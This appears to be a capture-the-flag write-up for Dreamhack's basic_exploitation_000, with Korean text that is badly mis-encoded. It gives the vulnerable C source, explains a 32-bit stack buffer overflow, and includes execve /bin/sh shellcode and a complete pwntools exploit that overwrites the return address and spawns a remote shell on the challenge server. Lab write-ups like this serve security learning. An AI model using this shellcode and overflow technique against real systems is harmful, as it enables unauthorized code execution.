[dreamhack] basic_exploitation_000 ๋ฌธ์ ํ์ด
pwnable ์ด๋ณด์ธ ๋์๊ฒ๋ ์ด๋ ค์ด ๋ฌธ์ ์๋ค..
์๊ฒฉ ์๋ฒ ํ๊ฒฝ์ ์ด๋ฌํ๋ค
Ubuntu 16.04
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
์ฐ์ 32bit ํ๊ฒฝ์ด๊ธฐ ๋๋ฌธ์ ์คํํ๋ ์๊ตฌ์กฐ๋ buf(n) | sfp(4) | ret(4) ์๋ฌํ๋ค.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
printf("buf = (%p)\n", buf);
scanf("%141s", buf);
return 0;
}
์์ค์ฝ๋๋ฅผ ๋ถ์ํด๋ณด๋ฉด ์ผ๋จ ์ทจ์ฝ์ ์ ํ๋ ๋ฐ๊ฒฌํ ์ ์๋ค.
buf์ ํฌ๊ธฐ๋ 0x80(128 byte)์ธ๋ฐ scanf๋ก 141byte ๋งํผ ๋ฐ์ ์ ์๋ค๋ ๊ฒ..@! ์ฆ ๋ฒํผ ์ค๋ฒํ๋ก์ฐ๊ฐ ์ผ์ด๋ ์ ์๋ ๊ฒ์ด๋ค.
์ฐ๋ฆฌ๋ ์ด ์ ์ ํ์ฉํด์ buf๋ฅผ ๋๋ฏธ๊ฐ์ผ๋ก ์ฑ์ฐ๊ณ ret๊ฐ์ ์นจ๋ฒํ์ฌ ์ํ๋ ๋ช ๋ น์ ์คํํ๋ฉด ๋๋ค.
์ฐ๋ฆฌ๊ฐ ๋๋ฏธ๊ฐ์ผ๋ก ์ฑ์์ผ ํ๋ ๋ถ๋ถ์ rbp-0x80 ๋ถํฐ rbp +0x04 ์ฆ 0x84 = 132 byte ๋งํผ์ด๋ค.
ํด๋น ๋ถ๋ถ์ ์์ฝ๋ + ์๋ฌด๋ฌธ์๋ก ์ฑ์ฐ๋ฉด ๋ ๊ฒ์ด๋ค.
์ฌ์ค ์์ฝ๋ ์ด๋ณด์ธ์ง๋ผ ๊ธฐ๊ณ์ด ๋ถ๋ถ์ ์ด์ฌํ ๊ตฌ๊ธ๋งํด๋ณด์๋ค.
scanf ์ฐํ ์์ฝ๋ (26byte) --> scanf์ ๋ฃ์ ์์ฝ๋์ธ๊ฒฝ์ฐ ํด๋น ๊ธฐ๊ณ์ด๋ฅผ ์ฌ์ฉํ๋ ๊ฒ ๊ฐ๋ค(?) (๊ธฐ๋ณธ์ ์์ฝ๋๋ 25byte ๋ง์ด ์ฌ์ฉ)
\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80
from pwn import *
p = remote('host1.dreamhack.games',22346) # ์๊ฒฉ ์๋ฒ ๋์์ผ๋ก ์ต์คํ๋ก์ ์ํ
context.arch = "i386" # x86 ์ํคํ
์ฒ
p.recvuntil("buf = (")
buf_addr = int(p.recv(10),16) # ์ถ๋ ฅ๋ buf์ ์์น ์ ์ฅ
payload = b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"
payload += b"\x11" * 106
payload += p32(buf_addr)
p.sendline(payload)
p.interactive()
26 byte๋ฅผ ์ฑ์ฐ๊ณ ๋จ์ 132-26 = 106 ๋ฐ์ดํธ๋ ์๋ฌด๊ฐ์ผ๋ก ์ฑ์์ฃผ๋ฉด ๋๋ค.
๋ง์ง๋ง์ผ๋ก ret์ ๋ค์ด๊ฐ ๋ถ๋ถ์ buf์ ์์์ฃผ์์ด๋ค. (ํ์ผ ์คํ ํ recv๋ฅผ ํตํด ๋ฐ์)
์ด์ ํ๋ก๊ทธ๋จ์ด ret๊น์ง ๊ฐ๋ฉด buf[0]์ ์์น๋ก ์ด๋ํด์ ์ ธ์ฝ๋๋ฅผ ์คํํ ๊ฒ์ด๋ค. !!!
์ฑ๊ณต!!!